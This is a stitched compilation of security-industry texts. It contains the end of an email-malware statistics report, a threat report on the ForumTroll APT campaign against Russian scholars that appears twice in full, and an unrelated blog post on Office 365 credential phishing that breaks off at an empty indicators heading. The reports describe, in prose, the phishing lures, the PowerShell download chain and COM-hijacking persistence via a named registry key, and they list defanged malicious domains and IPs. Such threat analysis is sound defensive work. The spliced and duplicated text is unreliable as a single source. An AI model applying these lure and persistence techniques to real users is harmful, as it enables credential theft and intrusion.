TOP 10 malware samples distributed via email attachments, 2025 (download)

Countries and territories targeted by malicious mailings

The highest volume of malicious email attachments was blocked on devices belonging to users in China (13.74%). For the first time in two years, Russia dropped to second place with a share of 11.18%. Following closely behind are Mexico (8.18%) and Spain (7.70%), which swapped places compared to the previous year. Email antivirus triggers saw a slight increase in Türkiye (5.19%), which maintained its fifth-place position. Sixth and seventh places are held by Vietnam (4.14%) and Malaysia (3.70%); both countries climbed higher in the TOP 10 due to an increase in detection shares. These are followed by the UAE (3.12%), which held its position from the previous year. Italy (2.43%) and Colombia (2.07%) also entered the TOP 10 list of targets for malicious mailshots.

TOP 20 countries and territories targeted by malicious mailshots, 2025 (download)

Conclusion

2026 will undoubtedly be marked by novel methods of exploiting artificial intelligence capabilities. At the same time, messaging app credentials will remain a highly sought-after prize for threat actors. While new schemes are certain to emerge, they will likely supplement rather than replace time-tested tricks and tactics. This underscores the reality that, alongside the deployment of robust security software, users must remain vigilant and exercise extreme caution toward any online offers that raise even the slightest suspicion.

The intensified focus on government service credentials signals a rise in potential impact; unauthorized access to these services can lead to financial theft, data breaches, and full-scale identity theft. Furthermore, the increased abuse of legitimate tools and the rise of multi-stage attacks – which often begin with seemingly harmless files or links – demonstrate a concerted effort by fraudsters to lull users into a false sense of security while pursuing their malicious objectives.

Introduction

In March 2025, we discovered Operation ForumTroll, a series of sophisticated cyberattacks exploiting the CVE-2025-2783 vulnerability in Google Chrome. We previously detailed the malicious implants used in the operation: the LeetAgent backdoor and the complex spyware Dante, developed by Memento Labs (formerly Hacking Team). However, the attackers behind this operation didn’t stop at their spring campaign and have continued to infect targets within the Russian Federation.

More reports about this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Emails posing as a scientific library

In October 2025, just days before we presented our report detailing the ForumTroll APT group’s attack at the Security Analyst Summit, we detected a new targeted phishing campaign by the same group. However, while the spring cyberattacks focused on organizations, the fall campaign honed in on specific individuals: scholars in the field of political science, international relations, and global economics, working at major Russian universities and research institutions.

The emails received by the victims were sent from the address support@e-library[.]wiki. The campaign purported to be from the scientific electronic library, eLibrary, whose legitimate website is elibrary.ru. The phishing emails contained a malicious link in the format: https://e-library[.]wiki/elib/wiki.php?id=<8 pseudorandom letters and digits>. Recipients were prompted to click the link to download a plagiarism report. Clicking that link triggered the download of an archive file. The filename was personalized, using the victim’s own name in the format: <LastName>_<FirstName>_<Patronymic>.zip.

A well-prepared attack

The attackers did their homework before sending out the phishing emails. The malicious domain, e-library[.]wiki, was registered back in March 2025, over six months before the email campaign started. This was likely done to build the domain’s reputation, as sending emails from a suspicious, newly registered domain is a major red flag for spam filters.

Furthermore, the attackers placed a copy of the legitimate eLibrary homepage on https://e-library[.]wiki. According to the information on the page, they accessed the legitimate website from the IP address 193.65.18[.]14 back in December 2024.

The attackers also carefully personalized the phishing emails for their targets, specific professionals in the field. As mentioned above, the downloaded archive was named with the victim’s last name, first name, and patronymic.

Another noteworthy technique was the attacker’s effort to hinder security analysis by restricting repeat downloads. When we attempted to download the archive from the malicious site, we received a message in Russian, indicating the download link was likely for one-time use only:

Our investigation found that the malicious site displayed a different message if the download was attempted from a non-Windows device. In that case, it prompted the user to try again from a Windows computer.

The malicious archive

The malicious archives downloaded via the email links contained the following:

• A malicious shortcut file named after the victim: <LastName>_<FirstName>_<Patronymic>.lnk;
• A .Thumbs directory containing approximately 100 image files with names in Russian. These images were not used during the infection process and were likely added to make the archives appear less suspicious to security solutions.

When the user clicked the shortcut, it ran a PowerShell script. The script’s primary purpose was to download and execute a PowerShell-based payload from a malicious server.

The downloaded payload then performed the following actions:

• Contacted a URL in the format: https://e-library[.]wiki/elib/query.php?id=<8 pseudorandom letters and digits>&key=<32 hexadecimal characters> to retrieve the final payload, a DLL file.
• Saved the downloaded file to %localappdata%\Microsoft\Windows\Explorer\iconcache_<4 pseudorandom digits>.dll.
• Established persistence for the payload using COM Hijacking. This involved writing the path to the DLL file into the registry key HKCR\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32. Notably, the attackers had used that same technique in their spring attacks.
• Downloaded a decoy PDF from a URL in the format: https://e-library[.]wiki/pdf/<8 pseudorandom letters and digits>.pdf. This PDF was saved to the user’s Downloads folder with a filename in the format: <LastName>_<FirstName>_<Patronymic>.pdf and then opened automatically.

The decoy PDF contained no valuable information. It was merely a blurred report generated by a Russian plagiarism-checking system.

At the time of our investigation, the links for downloading the final payloads didn’t work. Attempting to access them returned error messages in English: “You are already blocked…” or “You have been bad ended” (sic). This likely indicates the use of a protective mechanism to prevent payloads from being downloaded more than once. Despite this, we managed to obtain and analyze the final payload.

The final payload: the Tuoni framework

The DLL file deployed to infected devices proved to be an OLLVM-obfuscated loader, which we described in our previous report on Operation ForumTroll. However, while this loader previously delivered rare implants like LeetAgent and Dante, this time the attackers opted for a better-known commercial red teaming framework: Tuoni. Portions of the Tuoni code are publicly available on GitHub. By deploying this tool, the attackers gained remote access to the victim’s device along with other capabilities for further system compromise.

As in the previous campaign, the attackers used fastly.net as C2 servers.

Conclusion

The cyberattacks carried out by the ForumTroll APT group in the spring and fall of 2025 share significant similarities. In both campaigns, infection began with targeted phishing emails, and persistence for the malicious implants was achieved with the COM Hijacking technique. The same loader was used to deploy the implants both in the spring and the fall.

Despite these similarities, the fall series of attacks cannot be considered as technically sophisticated as the spring campaign. In the spring, the ForumTroll APT group exploited zero-day vulnerabilities to infect systems. By contrast, the autumn attacks relied entirely on social engineering, counting on victims not only clicking the malicious link but also downloading the archive and launching the shortcut file. Furthermore, the malware used in the fall campaign, the Tuoni framework, is less rare.

ForumTroll has been targeting organizations and individuals in Russia and Belarus since at least 2022. Given this lengthy timeline, it is likely this APT group will continue to target entities and individuals of interest within these two countries. We believe that investigating ForumTroll’s potential future campaigns will allow us to shed light on shadowy malicious implants created by commercial developers – much as we did with the discovery of the Dante spyware.

Indicators of compromise

e-library[.]wiki
perf-service-clients2.global.ssl.fastly[.]net
bus-pod-tenant.global.ssl.fastly[.]net
status-portal-api.global.ssl.fastly[.]net

Introduction

In March 2025, we discovered Operation ForumTroll, a series of sophisticated cyberattacks exploiting the CVE-2025-2783 vulnerability in Google Chrome. We previously detailed the malicious implants used in the operation: the LeetAgent backdoor and the complex spyware Dante, developed by Memento Labs (formerly Hacking Team). However, the attackers behind this operation didn’t stop at their spring campaign and have continued to infect targets within the Russian Federation.

More reports about this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Emails posing as a scientific library

In October 2025, just days before we presented our report detailing the ForumTroll APT group’s attack at the Security Analyst Summit, we detected a new targeted phishing campaign by the same group. However, while the spring cyberattacks focused on organizations, the fall campaign honed in on specific individuals: scholars in the field of political science, international relations, and global economics, working at major Russian universities and research institutions.

The emails received by the victims were sent from the address support@e-library[.]wiki. The campaign purported to be from the scientific electronic library, eLibrary, whose legitimate website is elibrary.ru. The phishing emails contained a malicious link in the format: https://e-library[.]wiki/elib/wiki.php?id=<8 pseudorandom letters and digits>. Recipients were prompted to click the link to download a plagiarism report. Clicking that link triggered the download of an archive file. The filename was personalized, using the victim’s own name in the format: <LastName>_<FirstName>_<Patronymic>.zip.

A well-prepared attack

The attackers did their homework before sending out the phishing emails. The malicious domain, e-library[.]wiki, was registered back in March 2025, over six months before the email campaign started. This was likely done to build the domain’s reputation, as sending emails from a suspicious, newly registered domain is a major red flag for spam filters.

Furthermore, the attackers placed a copy of the legitimate eLibrary homepage on https://e-library[.]wiki. According to the information on the page, they accessed the legitimate website from the IP address 193.65.18[.]14 back in December 2024.

The attackers also carefully personalized the phishing emails for their targets, specific professionals in the field. As mentioned above, the downloaded archive was named with the victim’s last name, first name, and patronymic.

Another noteworthy technique was the attacker’s effort to hinder security analysis by restricting repeat downloads. When we attempted to download the archive from the malicious site, we received a message in Russian, indicating the download link was likely for one-time use only:

Our investigation found that the malicious site displayed a different message if the download was attempted from a non-Windows device. In that case, it prompted the user to try again from a Windows computer.

The malicious archive

The malicious archives downloaded via the email links contained the following:

• A malicious shortcut file named after the victim: <LastName>_<FirstName>_<Patronymic>.lnk;
• A .Thumbs directory containing approximately 100 image files with names in Russian. These images were not used during the infection process and were likely added to make the archives appear less suspicious to security solutions.

When the user clicked the shortcut, it ran a PowerShell script. The script’s primary purpose was to download and execute a PowerShell-based payload from a malicious server.

The downloaded payload then performed the following actions:

• Contacted a URL in the format: https://e-library[.]wiki/elib/query.php?id=<8 pseudorandom letters and digits>&key=<32 hexadecimal characters> to retrieve the final payload, a DLL file.
• Saved the downloaded file to %localappdata%\Microsoft\Windows\Explorer\iconcache_<4 pseudorandom digits>.dll.
• Established persistence for the payload using COM Hijacking. This involved writing the path to the DLL file into the registry key HKCR\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32. Notably, the attackers had used that same technique in their spring attacks.
• Downloaded a decoy PDF from a URL in the format: https://e-library[.]wiki/pdf/<8 pseudorandom letters and digits>.pdf. This PDF was saved to the user’s Downloads folder with a filename in the format: <LastName>_<FirstName>_<Patronymic>.pdf and then opened automatically.

The decoy PDF contained no valuable information. It was merely a blurred report generated by a Russian plagiarism-checking system.

At the time of our investigation, the links for downloading the final payloads didn’t work. Attempting to access them returned error messages in English: “You are already blocked…” or “You have been bad ended” (sic). This likely indicates the use of a protective mechanism to prevent payloads from being downloaded more than once. Despite this, we managed to obtain and analyze the final payload.

The final payload: the Tuoni framework

The DLL file deployed to infected devices proved to be an OLLVM-obfuscated loader, which we described in our previous report on Operation ForumTroll. However, while this loader previously delivered rare implants like LeetAgent and Dante, this time the attackers opted for a better-known commercial red teaming framework: Tuoni. Portions of the Tuoni code are publicly available on GitHub. By deploying this tool, the attackers gained remote access to the victim’s device along with other capabilities for further system compromise.

As in the previous campaign, the attackers used fastly.net as C2 servers.

Conclusion

The cyberattacks carried out by the ForumTroll APT group in the spring and fall of 2025 share significant similarities. In both campaigns, infection began with targeted phishing emails, and persistence for the malicious implants was achieved with the COM Hijacking technique. The same loader was used to deploy the implants both in the spring and the fall.

Despite these similarities, the fall series of attacks cannot be considered as technically sophisticated as the spring campaign. In the spring, the ForumTroll APT group exploited zero-day vulnerabilities to infect systems. By contrast, the autumn attacks relied entirely on social engineering, counting on victims not only clicking the malicious link but also downloading the archive and launching the shortcut file. Furthermore, the malware used in the fall campaign, the Tuoni framework, is less rare.

ForumTroll has been targeting organizations and individuals in Russia and Belarus since at least 2022. Given this lengthy timeline, it is likely this APT group will continue to target entities and individuals of interest within these two countries. We believe that investigating ForumTroll’s potential future campaigns will allow us to shed light on shadowy malicious implants created by commercial developers – much as we did with the discovery of the Dante spyware.

Indicators of compromise

e-library[.]wiki
perf-service-clients2.global.ssl.fastly[.]net
bus-pod-tenant.global.ssl.fastly[.]net
status-portal-api.global.ssl.fastly[.]net

Last week, a friend of mine reached out with a query: a contact in his address book had sent him a suspicious email. As it turns out, it was. In this blog post, we'll have a quick look at an Office 365 phishing campaign, which turned out to be massive. This type of phishing has been on the rise for a while now (at least since 2017), and it's important to point out, as seemingly attacks are only increasing.


Analysis

As mentioned earlier, Office 365 (O365) phishing isn't new, but it is definitely prevalent. A high-level overview of a typical attack is as follows:

Figure 1 - High-level overview of typical O365 phishing

A typical flow of such an attack may be as follows:

1. An attacker sends an O365 spearphishing email, likely from a spoofed or fake email address;
2. The user is enticed to click on the link, or open the attachment which includes a link;
3. The user will then unknowingly enter their credentials on the fake O365 page;
4. Credentials get sent back to the attacker;
5. Attacker will access the now compromised user's mailbox; and,
6. The cycle repeats: the attacker will send spearphish emails to all of the compromised user's contacts - with this difference, it's coming from a legitimate sender.

Figure 2 - "P.AYMENT COPY"

Clicking on the "OPEN" button would redirect you to a legitimate but compromised Sharepoint (part of O365) webpage. Seeing as a legitimate business has been compromised, I won't post the link here. Its web administrators have been notified.

Figure 3 - "Access OneDrive"

The PDF document

Next step is hosting a PDF named "INVOICE.PDF", which entices the user to access OneDrive to view the shared file. If the user were to click on "OPEN PDF HERE":

Figure 4 - "Login with Office 365"

URI: https://happymachineit[.]info/Michael/b4fb042ba2b3b35053943467ac22a370/OFE1.htm

The final landing or phishing page


Finally, clicking on "Login with Office 365" will redirect the user to the final phishing page, which will look as follows:

Figure 5 - Final landing page

The final landing page is as follows:
https://happymachineit[.]info/Michael/b4fb042ba2b3b35053943467ac22a370/7hsfabvj2b0b9rguzbzw910d.php

When entering credentials, they will be sent off to the attacker, and the cycle from Figure 1 will repeat itself. Note that other scenarios are possible, for example:

1. The attacker may try to (re-)sell credentials that have been gathered so far on criminal forums
2. The attacker may send more targeted spearphishes to potentially interesting victims
3. The attacker may attempt to access other services or accounts using the same user/password combination

• Subject DN: CN=happymachineit.info
• Issuer DN: C=US, ST=TX, L=Houston, O=cPanel, Inc., CN=cPanel, Inc. Certification Authority
• Serial: 169382499542171049850152621295591104087

The SSL cert was issued by Comodo in January. Details can be found on Censys.io.

An additional email address is connected with "happymachine": fudtoolshop@gmail.com

The phishing website encountered here, https://happymachineit[.]info, is hosted on the following IP: 178.159.36[.]107

Pivoting on that IP brings us to the following SSL certificate details:

emailAddress=ssl@server.localhost.com, CN=server.localhost.com

This means the certificate is a local and self-signed one. In other words, if you are accessing a secure website, and you see "server.localhost.com" as the SSL certificate, do NOT trust it. This is sometimes from an automatic setup from the hosting provider.

As a side-note, a search for the Common Name (CN) mentioned above with Censys currently yields 473 (unexpired certs) results: https://censys.io/certificates?q=%28server.localhost.com%29+AND+tags.raw%3A+%22unexpired%22&

Performing a search with RiskIQ's PassiveTotal as well as VirusTotal, and after filtering results, we obtain a whopping total of 875 unique Office 365 phishing sites, hosted on that IP alone! It appears this campaign has been active since December 2018.

Searching a bit further, it appears the whole ASN (which is a collection of IP prefixes controlled by a single entity, typically an ISP), AS48666 is in fact riddled with Office 365 as well as other phishing sites. Using URLscan.io we can quickly gauge the ASN is hosting multiple phishing sites for Office 365 as well as Adobe:

Figure 6 - AS48666 hosting badness

General Info:

• Geo: Russian Federation (RU) — 
• AS: AS48666 - AS-MAROSNET Moscow, Russia, RU 
• Registrar: RIPENCC

As shown in this blog post, one IP address can host tons of phishing instances, while the ASN controls multiple IPs. Bonus bad IP: 178.159.36[.]120. 


Detection

For the phishing websites itself, any network traffic that resolves to the IP above.

I've noticed there are countless similar PDFs from this same campaign. Due to the way these are created (likely in bulk), a simple Yara rule can be developed as follows:











The Yara rule can be found on Pastebin here or on Github Gist here.
Note: in specific instances, this rule may false-positive - so use at your own will.

The following MITRE ATT&CK techniques are relevant:

• T1192 - Spearphishing Link
• T1193 - Spearphishing Attachment
• T1078 - Valid Accounts

Disinfection

There isn't much to disinfect, since there's no actual malware involved.

However, if you have been affected by this phishing campaign, do the following immediately:

• Contact your network and/or system administrator or managed services provider if you have one and wait for their response - if not;
• Note down the phishing page/URL, then close any open phishing pages - in fact, close the whole browser;
• Perform an antivirus scan with your installed product, and a scan with another application, for example Malwarebytes (better be safe than sorry);
• Change your O365 password immediately;
• Change passwords on other websites where you used the same combination;
• Reach out to the people in your address book you were compromised and they are not to open your email(s) or at least not any attachments or links from your email(s);
• Verify your "Sent" emails folder (or "Outbox") for any suspicious activity. If there are no Sent emails - the attacker may have deleted them, or you may have a full compromise on your hands.;
• Verify any (newly) created rules in your mail application (in this case O365), for example, verify there are no new forwarding rules or perhaps rules that delete new incoming emails - forwarding rules and deletion rules are sometimes set up by an attacker to gather more information or as an attempt to remain hidden; and,
• File a complaint with your CERT, local police station, or whichever authority would handle such cases. If you are unsure how to do so, have a look here for assistance.

Prevention

• Block the IP (or whole subnet 178.159.36[.]0/24) mentioned in this report in your firewall or proxy or other appliance;
• Use strong and preferably unique passwords (use a password manager);
• Set up 2FA for accounts or, preferably, MFA (multi-factor authentication);
• Enable, deploy or implement anti-spam and anti-phishing protection;
• Enable, deploy, or implement a URL phishing filter;
• Trust, but verify: "did this contact really need to send me a "Payment Copy"? - if needed, verify via a phone call - not via email;
• Be generally cautious with links and attachments. Do not click on links or open attachments from unknown senders;
• If possible, use Firefox with NoScript enabled; and,
• If you're in an organisation: create or organise user awareness training.

Conclusion

Phishing has been around for a long time - Office 365 phishing, on the other hand, has been around since, well, Office 365 was created. Every time a new service is created, you can imagine that phishing emails targeting that service will follow - maybe one month later, perhaps a year later - but they will.

Always try to be vigilant and follow the prevention tips mentioned above to stay safe.

As a side-note, the real Office 365 page is: https://outlook.office365.com/owa

You may find more information in the Resources section below.

Resources

Blaze's Security Blog - Cybercrime Report Template
Decent Security - Easily Report Phishing and Malware
Microsoft - Anti-phishing protection in Office 365
Microsoft - Microsoft publishes guidance to boost public sector cloud security
Microsoft - Set up multi-factor authentication
Microsoft - Set up Office 365 ATP anti-phishing and anti-phishing policies

Indicators